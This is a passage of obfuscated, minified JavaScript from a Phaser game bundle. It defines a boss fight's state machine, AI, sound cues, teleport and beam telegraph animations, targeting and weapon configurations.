_0xcfe5ba; this['gameMessageBus']['publish']('updateBoss', { 'hp': _0x16e2b6, 'phase': this['store']['get']('bossPhase') }); } } _0x502be5['BossSceneMessageComponent'] = _0x601bce; }, 0x253f: (_0x32dc69, _0x59cda7, _0xd86631) => { 'use strict'; Object['defineProperty'](_0x59cda7, '__esModule', { 'value': !0x0 }), _0x59cda7['BossStateAiController'] = void 0x0; const _0x40ad11 = _0xd86631(0x1520); class _0x461efb extends _0x40ad11['ComponentController']{ ['init']() { this['store']['subscribe']('bossState', ({ oldValue: _0x1e6fe0, newValue: _0x4eccb3 }) => this['onBossStateChange'](_0x1e6fe0, _0x4eccb3)); } ['onBossStateChange'](_0xfa3dbe, _0x3cbf92) { switch (_0x3cbf92) { case 'TRANSITION_TO_PHASE_2': this['onTransitionToPhase2'](); break; case 'TRANSITION_TO_PHASE_2_COMPLETE': this['onTransitionToPhase2Complete'](); break; case 'DYING': this['onDying'](); } } ['onTransitionToPhase2']() { this['store']['update']('aiState', 'SLEEPING'); } ['onTransitionToPhase2Complete']() { this['store']['update']('aiState', 'WANDERING'); } ['onDying']() { this['store']['update']('aiState', 'SLEEPING'); } } _0x59cda7['BossStateAiController'] = _0x461efb; }, 0x1d42: (_0x3d6364, _0x47d801, _0x60459f) => { 'use strict'; Object['defineProperty'](_0x47d801, '__esModule', { 'value': !0x0 }), _0x47d801['BossStateComponent'] = _0x47d801['PREPARE_STATE_MAX_DURATION_MS'] = void 0x0; const _0x353f30 = _0x60459f(0x2414), _0x2173fd = _0x60459f(0x221b), _0x2bbf53 = _0x60459f(0x1b39), _0x1755b2 = { 'PHASE_1': 0x4b0, 'PHASE_2': 0x1f4 }; _0x47d801['PREPARE_STATE_MAX_DURATION_MS'] = 0x7d0; class _0x4b003c extends _0x353f30['ActorComponent']{ ['delayedCallbacks'] = []; constructor(_0x360500) { super(_0x360500); } ['init']() { this['store']['update']('defaultAiConfig', this['config']['aiConfig']), this['store']['update']('bossState', 'INACTIVE'), this['store']['subscribe']('bossState', ({ oldValue: _0x37d768, newValue: _0x345ad6 }) => this['onBossStateChange'](_0x37d768, _0x345ad6)), this['store']['subscribe']('aiReachedTargetLocation', ({ oldValue: _0x2f02e0, newValue: _0x9facd9 }) => this['maybeEndPrepareState'](_0x9facd9)), this['messageBus']['subscribe'](this, 'weaponSuccessfullyFired', () => this['onWeaponFired']()), this['messageBus']['subscribe'](this, 'attackSequenceComplete', ({ weaponName: _0x3619b4 }) => this['store']['update']('bossState', 'IDLE')), this['sceneMessageBus']['subscribe'](this, 'startFight', () => this['store']['update']('bossState', 'SETUP')); } ['update'](_0x1aeb56) { const _0x1a5d49 = this['store']['get']('bossState'); _0x1a5d49['includes']('PREPARE') ? this['onUpdatePrepareState'](_0x1aeb56) : _0x1a5d49['includes']('ATTACK') && this['onUpdateAttackState'](_0x1aeb56); } ['onBossStateChange'](_0x2d6888, _0x88a4ce) { if (_0x88a4ce['includes']('PREPARE')) this['onPrepareState'](); else { if (_0x88a4ce['includes']('ATTACK')) this['onAttackState'](); else switch (_0x88a4ce) { case 'IDLE': this['onIdleState'](); break; case 'SETUP': this['onSetupState'](); break; case 'SETUP_UI': this['onSetupUiState'](); break; case 'SETUP_COMPLETE': this['onSetupCompleteState'](); break; case 'TRANSITION_TO_PHASE_2': this['onTransitionToPhase2State'](); break; case 'TRANSITION_TO_PHASE_2_AWAKENING_BEGINS': this['onTransitionToPhase2AwakeningBeginsState'](); break; case 'TRANSITION_TO_PHASE_2_COMPLETE': this['onTransitionToPhase2CompleteState'](); break; case 'DYING': this['onDyingState'](); break; case 'DYING_FALLING': this['onDyingFallingState'](); break; case 'DIED': this['onDiedState'](); } } } ['onIdleState']() { this['store']['update']('bossCurrentAttack', void 0x0); const _0x379425 = this['selectNextAttack'](), _0x4a75df = _0x1755b2[this['store']['get']('bossPhase')], _0x238a49 = this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossCurrentAttack', _0x379425), this['store']['update']('bossState', _0x379425['prepareState']), this['delayedCallbacks'] = this['delayedCallbacks']['filter'](_0x88742a => _0x88742a !== _0x238a49); }, _0x4a75df); this['delayedCallbacks']['push'](_0x238a49); } ['onSetupState']() { this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossState', 'SETUP_UI'); }, 0x1b58); } ['onSetupUiState']() { this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossState', 'SETUP_COMPLETE'); }, 0xbb8); } ['onSetupCompleteState']() { this['store']['update']('bossState', 'IDLE'); } ['onTransitionToPhase2State']() { this['clearCallbacks'](), this['store']['update']('bossCurrentAttack', void 0x0), this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossState', 'TRANSITION_TO_PHASE_2_AWAKENING_BEGINS'); }, 0xbb8); } ['onTransitionToPhase2AwakeningBeginsState']() { this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossState', 'TRANSITION_TO_PHASE_2_COMPLETE'); }, 0xbb8); } ['onDyingState']() { this['clearCallbacks'](), this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossState', 'DYING_FALLING'); }, 0xed8); } ['onDyingFallingState']() { this['gameContext']['timeProvider']['delayAction'](() => { this['store']['update']('bossState', 'DIED'); }, 0x1194); } ['onDiedState']() { this['clearCallbacks'](); } ['onTransitionToPhase2CompleteState']() { this['store']['update']('bossState', 'IDLE'); } ['selectNextAttack']() { let _0x5cd77b; for (let _0xf65fa2 = 0x0; !_0x5cd77b; _0xf65fa2++) { 0x0 === this['store']['get']('bossUpcomingAttacks')['length'] && this['store']['update']('bossUpcomingAttacks', this['gameContext']['rngProvider']['shuffle'](_0x2173fd['EProviderContext']['MAIN'], [...this['config']['weapons']])); const _0x3e608a = [...this['store']['get']('bossUpcomingAttacks')]; if (_0x5cd77b = _0x3e608a['shift'](), this['store']['update']('bossUpcomingAttacks', _0x3e608a), !_0x5cd77b) continue; if (_0x5cd77b?.['attackConditionFunction'] && _0x5cd77b['attackConditionFunction'](this['store']) || !_0x5cd77b?.['attackConditionFunction']) { if (_0x5cd77b) break; } else _0x5cd77b = void 0x0; } if (!_0x5cd77b) throw new Error('No\x20valid\x20attack\x20found'); return _0x5cd77b; } ['onPrepareState']() { this['store']['update']('timeSincePrepareStartMS', 0x0); const _0x500ad1 = this['store']['get']('defaultAiConfig'), _0x25c80c = this['store']['get']('bossCurrentAttack')?.['prepareAiConfig']; this['store']['update']('aiConfig', _0x25c80c ?? _0x500ad1), this['store']['update']('aiReachedTargetLocation', !0x1); const _0x4b79dd = this['store']['get']('bossCurrentAttack')?.['prepareMaxDurationMS'] ?? _0x47d801['PREPARE_STATE_MAX_DURATION_MS'], _0x32555e = this['gameContext']['timeProvider']['delayAction'](() => { this['startAttack'](), this['delayedCallbacks'] = this['delayedCallbacks']['filter'](_0x2ab017 => _0x2ab017 !== _0x32555e); }, _0x4b79dd); this['delayedCallbacks']['push'](_0x32555e); } ['startAttack']() { this['store']['update']('bossState', this['store']['get']('bossCurrentAttack')['attackState']); const _0x304af2 = this['store']['get']('defaultAiConfig'), _0x2765ad = this['store']['get']('bossCurrentAttack')?.['prepareAiConfig'], _0x12cf4e = this['store']['get']('bossCurrentAttack')?.['attackAiConfig']; this['store']['update']('aiConfig', _0x12cf4e ?? _0x2765ad ?? _0x304af2), this['store']['update']('aiReachedTargetLocation', !0x1); } ['clearCallbacks']() { this['delayedCallbacks']['forEach'](_0x3a02e9 => this['gameContext']['timeProvider']['cancelDelayedAction'](_0x3a02e9)), this['delayedCallbacks'] = []; } ['onAttackState']() { this['store']['update']('timeSinceLastAttackMS', 0x0); const _0xd9b329 = this['store']['get']('bossCurrentAttack')?.['attackMaxDurationMS'] ?? Infinity, _0x5f132a = this['gameContext']['timeProvider']['delayAction'](() => { this['delayedCallbacks'] = this['delayedCallbacks']['filter'](_0x338390 => _0x338390 !== _0x5f132a), this['clearCallbacks'](), this['store']['update']('bossState', 'IDLE'); }, _0xd9b329); } ['onUpdateAttackState'](_0x34d719) { const _0x5d9c96 = this['store']['get']('bossCurrentAttack'), _0x2f9cd9 = _0x5d9c96?.['attackLookDirection']; void 0x0 !== _0x2f9cd9 && this['store']['update']('lookDirection', (0x0, _0x2bbf53['degToRad'])(_0x2f9cd9)); const _0x489367 = this['store']['get']('timeSinceLastAttackMS'); if (void 0x0 === _0x489367) return; this['store']['update']('timeSinceLastAttackMS', _0x489367 + 0x3e8 * _0x34d719), _0x489367 <= (this['store']['get']('bossCurrentAttack')?.['attackInactiveMaxDurationMS'] ?? Infinity) || (this['clearCallbacks'](), this['store']['update']('bossState', 'IDLE')); } ['onUpdatePrepareState'](_0x588489) { const _0x1ad19b = this['store']['get']('bossCurrentAttack'), _0x161e28 = _0x1ad19b?.['prepareLookDirection'], _0x4ad7d8 = this['store']['get']('timeSincePrepareStartMS') ?? 0x0; this['store']['update']('timeSincePrepareStartMS', _0x4ad7d8 + 0x3e8 * _0x588489), void 0x0 !== _0x161e28 && this['store']['update']('lookDirection', (0x0, _0x2bbf53['degToRad'])(_0x161e28)); } ['onWeaponFired']() { this['store']['update']('timeSinceLastAttackMS', 0x0); } ['maybeEndPrepareState'](_0x1cb55c) { if (!_0x1cb55c) return; if (!this['store']['get']('bossState')['includes']('PREPARE')) return; const _0x59003c = this['store']['get']('bossCurrentAttack')?.['prepareMinDurationMS'] ?? 0x0; (this['store']['get']('timeSinceLastAttackMS') ?? 0x0) < _0x59003c || (this['delayedCallbacks']['forEach'](_0x54e5cd => this['gameContext']['timeProvider']['cancelDelayedAction'](_0x54e5cd)), this['delayedCallbacks'] = [], this['startAttack']()); } } _0x47d801['BossStateComponent'] = _0x4b003c; }, 0x119a: (_0x17e3fb, _0x46da31, _0x40ed38) => { 'use strict'; Object['defineProperty'](_0x46da31, '__esModule', { 'value': !0x0 }), _0x46da31['BossStateSoundComponent'] = void 0x0; const _0x3e5150 = _0x40ed38(0x2414); class _0x4f23b5 extends _0x3e5150['ActorComponent']{ ['init']() { this['store']['subscribe']('bossState', ({ oldValue: _0x48bf0b, newValue: _0x3334fe }) => this['onBossStateChange'](_0x48bf0b, _0x3334fe)); } ['onBossStateChange'](_0x49940a, _0x5ee5c0) { switch (_0x5ee5c0) { case 'SETUP': this['onSetup'](); break; case 'PREPARE_LIGHTNINGS': this['onPrepareLightnings'](); break; case 'PREPARE_MELEE_DOWN': this['onPrepareMeleeDown'](); break; case 'PREPARE_MEGABEAM': this['onPrepareMegabeam'](); break; case 'PREPARE_BLOBS': this['onPrepareBlobs'](); break; case 'PREPARE_HOMING_BALLS': this['onPrepareHomingBalls'](); break; case 'PREPARE_MEGABEAMSPAM': this['onPrepareMegabeamspam'](); break; case 'TRANSITION_TO_PHASE_2': this['onTransitionToPhase2State'](); break; case 'DYING': this['onDying'](); break; case 'DYING_FALLING': this['onDyingFallen'](); } } ['onSetup']() { this['gameContext']['timeProvider']['delayRenderAction'](() => { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStateOpenBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); }); } ['onPrepareLightnings']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePrepareLightningsBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onPrepareMeleeDown']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePrepareMeleeDownBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onPrepareMegabeam']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePrepareMegabeamBegins_1', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onPrepareBlobs']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePrepareBlobsBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onPrepareHomingBalls']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePrepareHomingBallsBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onPrepareMegabeamspam']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePrepareBeamspamBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onTransitionToPhase2State']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStateTransitionToPhase2Begins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onDying']() { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStateDyingBegins', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); } ['onDyingFallen']() { this['gameContext']['timeProvider']['delayRenderAction'](() => { this['gameMessageBus']['publish']('requestSound', { 'config': { 'name': 'bossStatePilotTeleportsOut', 'position': this['store']['get']('renderPosition'), 'groupName': this['actor']['id'] } }); }, 0x834); } } _0x46da31['BossStateSoundComponent'] = _0x4f23b5; }, 0xb38: (_0x16582f, _0x3edc4f, _0xa04134) => { 'use strict'; Object['defineProperty'](_0x3edc4f, '__esModule', { 'value': !0x0 }), _0x3edc4f['BossStateWeaponAnimationController'] = void 0x0; const _0x397413 = _0xa04134(0x1520), _0x4549f8 = _0xa04134(0x175f), _0x50fbf6 = _0xa04134(0x1832), _0x2b58d1 = _0xa04134(0xf18), _0x3866d6 = _0xa04134(0x2347), _0xd44db0 = _0xa04134(0x1512), _0x2f6df3 = _0xa04134(0x18e5), _0x2c0741 = 1.42; class _0x539d86 extends _0x397413['ComponentController']{ ['bossTeleportTelegraph'];['playerTeleportTelegraph'];['bossBeamSpamTelegraph'];['bossBeamSpamTelegraphTween'];['init']() { this['store']['subscribe']('bossState', ({ oldValue: _0x11a792, newValue: _0x320714 }) => this['onBossStateChange'](_0x11a792, _0x320714)), this['messageBus']['subscribe'](this, 'teleportSuccess', _0x56322f => this['teleportComplete']()), this['messageBus']['subscribe'](this, 'teleportFail', _0x35bda9 => this['teleportComplete']()); } ['postInit']() { this['setupTelegraphImages'](); } ['update'](_0x16e562) { this['maybeUpdateTelegraphs'](); } ['onBossStateChange'](_0x55cb7e, _0x956211) { switch (_0x956211) { case 'SETUP': this['onSetup'](); break; case 'PREPARE_MELEE_DOWN': this['onPrepareMeleeDown'](); break; case 'PREPARE_MEGABEAMSPAM': this['onPrepareMegabeamSpam'](); break; case 'ATTACK_MEGABEAMSPAM': this['onAttackMegabeamSpam'](); break; case 'DYING': this['onDying'](); } } ['onPrepareMeleeDown']() { 'PHASE_2' === this['store']['get']('bossPhase') && (this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport_large_source', 'position': this['store']['get']('renderPosition') }), this['bossTeleportTelegraph']['visible'] = !0x0, this['bossTeleportTelegraph']['setAlpha'](0x2), this['bossTeleportTelegraph']['setScale'](_0x2c0741), this['scene']['tweens']['add']({ 'targets': this['bossTeleportTelegraph'], 'alpha': { 'from': 0x2, 'to': 0x0 }, 'scale': { 'from': _0x2c0741, 'to': 2.13 }, 'duration': _0x4549f8['BOSS_PHASE2_TELEPORT_DELAY_MS'], 'ease': 'Quart.easeIn', 'onComplete': () => { this['bossTeleportTelegraph']['visible'] = !0x1; } }), this['scene']['tweens']['add']({ 'targets': this['component']['get'](), 'alpha': { 'from': 0x1, 'to': 0x0 }, 'duration': _0x4549f8['BOSS_PHASE2_TELEPORT_DELAY_MS'], 'ease': 'Quart.easeIn' }), this['playerTeleportTelegraph']['visible'] = !0x0, this['playerTeleportTelegraph']['setAlpha'](0x0), this['playerTeleportTelegraph']['setScale'](_0x2c0741), this['scene']['tweens']['chain']({ 'targets': this['playerTeleportTelegraph'], 'tweens': [{ 'alpha': 0.2, 'scale': 1.562, 'duration': 0xfa }, { 'alpha': 0.5, 'scale': _0x2c0741, 'duration': 0xfa }, { 'alpha': 0.2, 'scale': 1.562, 'duration': 0xfa }, { 'alpha': 0.5, 'scale': _0x2c0741, 'duration': 0xfa }, { 'alpha': 0.2, 'scale': 1.562, 'duration': 0xfa }, { 'alpha': 0.5, 'scale': _0x2c0741, 'duration': 0xfa }] })); } ['teleportComplete']() { this['component']['get']()['setAlpha'](0x1), this['bossTeleportTelegraph']['setAlpha'](0x1), this['bossTeleportTelegraph']['setScale'](_0x2c0741), this['scene']['tweens']['add']({ 'targets': this['bossTeleportTelegraph'], 'alpha': { 'from': 0x2, 'to': 0x0 }, 'scale': { 'from': _0x2c0741, 'to': 2.13 }, 'duration': 0xc8, 'ease': 'Quart.easeIn', 'onComplete': () => { this['bossTeleportTelegraph']['visible'] = !0x1; } }), this['playerTeleportTelegraph']['visible'] = !0x1, this['gameContext']['timeProvider']['delayRenderAction'](() => { this['gameMessageBus']['publish']('requestExplosion', { 'explosionName': 'scifi/teleport_large_destination', 'position': this['store']['get']('renderPosition') }); }); } ['maybeUpdateTelegraphs']() { if (!('PHASE_2' === this['store']['get']('bossPhase'))) return; if (!this['playerTeleportTelegraph']?.['visible']) return; const _0x4056e1 = this['store']['get']('renderPosition'), _0x5db922 = this['store']['get']('targetActorHandles')[0x0]; if (!_0x5db922) return; const _0x19f2d6 = (0x0, _0x2f6df3['add'])(_0x5db922['getFromStore']('renderPosition'), (0x0, _0x3866d6['physicsVector2RenderVector'])(_0x4549f8['DESTINATION_TARGET_OFFSET'])); this['bossTeleportTelegraph']['setPosition'](_0x4056e1['x'], _0x4056e1['y']), this['playerTeleportTelegraph']['setPosition'](_0x19f2d6['x'], _0x19f2d6['y']); } ['setupTelegraphImages']() { this['bossTeleportTelegraph'] = this['createTelegraphImage'](), this['playerTeleportTelegraph'] = this['createTelegraphImage'](), this['bossTeleportTelegraph']['visible'] = !0x1, this['bossTeleportTelegraph']['blendMode'] = Phaser['BlendModes']['ADD'], this['bossTeleportTelegraph']['tint'] = 0x6699ff, this['bossTeleportTelegraph']['setScale'](_0x2c0741), this['bossTeleportTelegraph']['setDepth'](_0x2b58d1['LAYER_DEPTHS']['SPRITE_ADD']), this['playerTeleportTelegraph']['visible'] = !0x1, this['playerTeleportTelegraph']['blendMode'] = Phaser['BlendModes']['ADD'], this['playerTeleportTelegraph']['tint'] = 0xff0000, this['playerTeleportTelegraph']['setScale'](_0x2c0741), this['playerTeleportTelegraph']['setDepth'](_0x2b58d1['LAYER_DEPTHS']['SPRITE_ADD']); const _0x405272 = this['gameContext']['queryActors'](_0x50fbf6['EActorTag']['MAP_OBJECT'])['find'](_0x53daaf => { const _0x2352cc = _0x53daaf['getConfig'](); return 'MapObject|boss_marker' === _0x2352cc['name'] && 'beamspam_telegraph_topleft' === _0x2352cc['namedId']; }), _0x5341aa = this['gameContext']['queryActors'](_0x50fbf6['EActorTag']['MAP_OBJECT'])['find'](_0x1d572a => { const _0x418aac = _0x1d572a['getConfig'](); return 'MapObject|boss_marker' === _0x418aac['name'] && 'beamspam_telegraph_bottomright' === _0x418aac['namedId']; }); if (!_0x405272 || !_0x5341aa) throw new Error('Boss\x20map\x20is\x20missing\x20beamspam\x20telegraph\x20markers,\x20should\x20be\x20MAP\x20OBJECTs\x20with\x20namedId\x20\x22beamspam_telegraph_topleft\x22\x20and\x20\x22beamspam_telegraph_bottomright\x22'); const _0x3f3f08 = _0x405272['getFromStore']('renderPosition'), _0x59a76c = _0x5341aa['getFromStore']('renderPosition'); this['bossBeamSpamTelegraph'] = this['createGraphics'](_0x3f3f08['x'], _0x3f3f08['y'], _0x59a76c['x'] - _0x3f3f08['x'], _0x59a76c['y'] - _0x3f3f08['y']); } ['createTelegraphImage']() { const _0x2273ef = this['gameContext']['getAnimationConfig']('boss/melee/telegraph'), _0x1ad665 = _0x2273ef['animationConfig']['key'] ? void 0x0 : _0x2273ef['animationConfig']['staticFrame']; return this['scene']['add']['image'](NaN, NaN, _0x2273ef['textureName'], _0x1ad665); } ['onPrepareMegabeamSpam']() { this['bossBeamSpamTelegraph']['visible'] = !0x0, this['bossBeamSpamTelegraphTween'] = this['scene']['tweens']['add']({ 'targets': this['bossBeamSpamTelegraph'], 'alpha': { 'from': 0x0, 'to': 0.3 }, 'duration': 0x190, 'yoyo': !0x0, 'repeat': -0x1, 'ease': 'Sine.easeInOut' }); } ['onAttackMegabeamSpam']() { this['bossBeamSpamTelegraphTween'] && (this['bossBeamSpamTelegraphTween']['stop'](), this['bossBeamSpamTelegraphTween'] = void 0x0), this['bossBeamSpamTelegraph']['visible'] = !0x1; } ['onDying']() { this['bossBeamSpamTelegraphTween'] && (this['bossBeamSpamTelegraphTween']['stop'](), this['bossBeamSpamTelegraphTween'] = void 0x0), this['bossBeamSpamTelegraph']['visible'] = !0x1; } ['createGraphics'](_0x4df975, _0x37ef3e, _0x32dd99, _0x45e308) { const _0x4c9347 = this['scene']['add']['graphics'](); return _0x4c9347['fillStyle'](0xff0000, 0x1), _0x4c9347['fillRect'](_0x4df975, _0x37ef3e, _0x32dd99, _0x45e308), _0x4c9347['setDepth'](_0x2b58d1['LAYER_DEPTHS']['FLASH']), _0x4c9347['setBlendMode'](Phaser['BlendModes']['ADD']), _0x4c9347['visible'] = !0x1, _0x4c9347; } ['onSetup']() { const _0x29d950 = this['gameContext']['queryActors'](_0x50fbf6['EActorTag']['MAP_OBJECT'])['find'](_0x45569e => { const _0x841bce = _0x45569e['getConfig'](); return 'MapObject|boss_marker' === _0x841bce['name'] && 'boss_arena_topleft' === _0x841bce['namedId']; }), _0x4e8f36 = this['gameContext']['queryActors'](_0x50fbf6['EActorTag']['MAP_OBJECT'])['find'](_0xaaf57 => { const _0x3c27e9 = _0xaaf57['getConfig'](); return 'MapObject|boss_marker' === _0x3c27e9['name'] && 'boss_arena_bottomright' === _0x3c27e9['namedId']; }); if (!_0x29d950 || !_0x4e8f36) throw new Error('Boss\x20map\x20is\x20missing\x20beamspam\x20telegraph\x20markers,\x20should\x20be\x20MAP\x20OBJECTs\x20with\x20namedId\x20\x22boss_arena_topleft\x22\x20and\x20\x22boss_arena_bottomright\x22'); const _0x587fdf = _0x29d950['getFromStore']('renderPosition'), _0x4d7905 = _0x4e8f36['getFromStore']('renderPosition'); this['gameContext']['getCamera'](_0xd44db0['ECamera']['MAIN'])['setBounds'](_0x587fdf['x'], _0x587fdf['y'], _0x4d7905['x'] - _0x587fdf['x'], _0x4d7905['y'] - _0x587fdf['y']); } } _0x3edc4f['BossStateWeaponAnimationController'] = _0x539d86; }, 0x188d: (_0x5cca7e, _0x32a498, _0x1f3f04) => { 'use strict'; Object['defineProperty'](_0x32a498, '__esModule', { 'value': !0x0 }), _0x32a498['BossStateWeaponComponent'] = void 0x0; const _0x5be039 = _0x1f3f04(0x2414), _0x393ef1 = _0x1f3f04(0x1832); class _0x116207 extends _0x5be039['ActorComponent']{ ['init']() { this['store']['subscribe']('bossState', ({ oldValue: _0x1f3a35, newValue: _0x10c453 }) => this['onBossStateChange'](_0x1f3a35, _0x10c453)); } ['onBossStateChange'](_0x26f404, _0x10807c) { switch (_0x10807c) { case 'ATTACK_HOMING_BALLS': this['onAttackHomingBalls'](); break; case 'DYING': this['onDying'](); } } ['onAttackHomingBalls']() { this['destroyBossProjectiles']('boss/homing_ball/energyBall'); } ['onDying']() { this['destroyBossProjectiles'](); } ['destroyBossProjectiles'](_0x54119a) { this['gameContext']['queryActors']([_0x393ef1['EActorTag']['ENEMY_PROJECTILE']])['forEach'](_0x5376a2 => { const _0x163880 = _0x5376a2['getConfig'](), _0x4cfec2 = !_0x54119a || _0x163880['projectileType'] === _0x54119a; _0x163880['ownerActor'] === this['actor'] && _0x4cfec2 && _0x5376a2['destroy'](); }); } } _0x32a498['BossStateWeaponComponent'] = _0x116207; }, 0xcb2: (_0x11d1e4, _0x50dee6, _0x1cce15) => { 'use strict'; Object['defineProperty'](_0x50dee6, '__esModule', { 'value': !0x0 }), _0x50dee6['BossTargetController'] = void 0x0; const _0x1cb822 = _0x1cce15(0x1520), _0x43bcee = _0x1cce15(0x1832); class _0x4abb8e extends _0x1cb822['ComponentController']{ ['postInit']() { this['store']['subscribe']('bossState', ({ oldValue: _0x570225, newValue: _0x2554e1 }) => this['onBossStateChange'](_0x570225, _0x2554e1)); } ['onBossStateChange'](_0x2970b7, _0x5076fa) { switch (_0x5076fa) { case 'IDLE': this['onIdle'](); break; case 'PREPARE_MEGABEAMSPAM': this['onPrepareMegabeamspam'](); } } ['onIdle']() { this['store']['update']('targetActorHandles', [this['targetPlayer']()]); } ['onPrepareMegabeamspam']() { const _0x59ac98 = this['targetCenterWaypoint'](); _0x59ac98 && this['store']['update']('targetActorHandles', [_0x59ac98]); } ['targetPlayer']() { return this['gameContext']['queryActors'](_0x43bcee['EActorTag']['PLAYER'])[0x0]; } ['targetCenterWaypoint']() { return this['gameContext']['queryActors'](_0x43bcee['EActorTag']['MAP_OBJECT'])['find'](_0x302993 => { const _0x315bfe = _0x302993['getConfig'](); return 'MapObject|boss_marker' === _0x315bfe['name'] && 'waypoint1' === _0x315bfe['namedId']; }); } } _0x50dee6['BossTargetController'] = _0x4abb8e; }, 0x131f: (_0x4fd86a, _0x4a9072) => { 'use strict'; Object['defineProperty'](_0x4a9072, '__esModule', { 'value': !0x0 }), _0x4a9072['BOSS_WEAPON_BEAMSPAM'] = _0x4a9072['BOSS_WEAPON_MEGABEAM_PHASE2'] = _0x4a9072['BOSS_WEAPON_MEGABEAM_PHASE1'] = _0x4a9072['BOSS_WEAPON_DOWNSTRIKES_PHASE2'] = _0x4a9072['BOSS_WEAPON_DOWNSTRIKES_PHASE1'] = _0x4a9072['BOSS_WEAPON_LIGHTNINGS'] = _0x4a9072['BOSS_WEAPON_BLOBS_PHASE2'] = _0x4a9072['BOSS_WEAPON_BLOBS_PHASE1'] = _0x4a9072['BOSS_WEAPON_HOMING_BALLS'] = void 0x0, _0x4a9072['BOSS_WEAPON_HOMING_BALLS'] = { 'name': 'boss/homing_ball/strike', 'prepareState': 'PREPARE_HOMING_BALLS', 'attackState': 'ATTACK_HOMING_BALLS', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x320, 'horizontalWantedDistanceRange': 0x12c, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x1f4 }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0x0, 'wantedHorizontalDistanceToPlayer': NaN, 'horizontalWantedDistanceRange': NaN, 'wantedVerticalDistanceToPlayer': NaN, 'verticalWantedDistanceRange': NaN }, 'prepareMaxDurationMS': 0x190, 'prepareMinDurationMS': 0xc8, 'attackConditionFunction': _0x2645cb => 'PHASE_2' === _0x2645cb['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_BLOBS_PHASE1'] = { 'name': 'boss/blob/phase1', 'prepareState': 'PREPARE_BLOBS', 'attackState': 'ATTACK_BLOBS', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x320, 'horizontalWantedDistanceRange': 0xc8, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x1f4 }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0x0, 'wantedHorizontalDistanceToPlayer': NaN, 'horizontalWantedDistanceRange': NaN, 'wantedVerticalDistanceToPlayer': NaN, 'verticalWantedDistanceRange': NaN }, 'prepareMaxDurationMS': 0x5dc, 'prepareMinDurationMS': 0x1f4, 'attackConditionFunction': _0x284ec8 => 'PHASE_1' === _0x284ec8['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_BLOBS_PHASE2'] = { 'name': 'boss/blob/phase2', 'prepareState': 'PREPARE_BLOBS', 'attackState': 'ATTACK_BLOBS', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x320, 'horizontalWantedDistanceRange': 0xc8, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x1f4 }, 'attackAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0x0, 'wantedHorizontalDistanceToPlayer': NaN, 'horizontalWantedDistanceRange': NaN, 'wantedVerticalDistanceToPlayer': NaN, 'verticalWantedDistanceRange': NaN }, 'prepareMaxDurationMS': 0x3e8, 'prepareMinDurationMS': 0x1f4, 'attackConditionFunction': _0x3fefba => 'PHASE_2' === _0x3fefba['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_LIGHTNINGS'] = { 'name': 'boss/lightnings/strike', 'prepareState': 'PREPARE_LIGHTNINGS', 'attackState': 'ATTACK_LIGHTNINGS', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 0xbb8, 'wantedHorizontalDistanceToPlayer': 0x64, 'horizontalWantedDistanceRange': 0xc8, 'wantedVerticalDistanceToPlayer': 0x64, 'verticalWantedDistanceRange': 0x32, 'verticalWantedDistanceOffset': -0x12c }, 'attackInactiveMaxDurationMS': 0x5dc, 'prepareMaxDurationMS': 0x3e8, 'prepareMinDurationMS': 0xc8, 'attackConditionFunction': _0x339902 => 'PHASE_1' === _0x339902['get']('bossPhase') }, _0x4a9072['BOSS_WEAPON_DOWNSTRIKES_PHASE1'] = { 'name': 'boss/melee/downstrikes_phase1', 'prepareState': 'PREPARE_MELEE_DOWN', 'attackState': 'ATTACK_MELEE_DOWN', 'prepareAiConfig': { 'wanderDirectionChangeProbability': 0x0, 'targetDetectionRange': 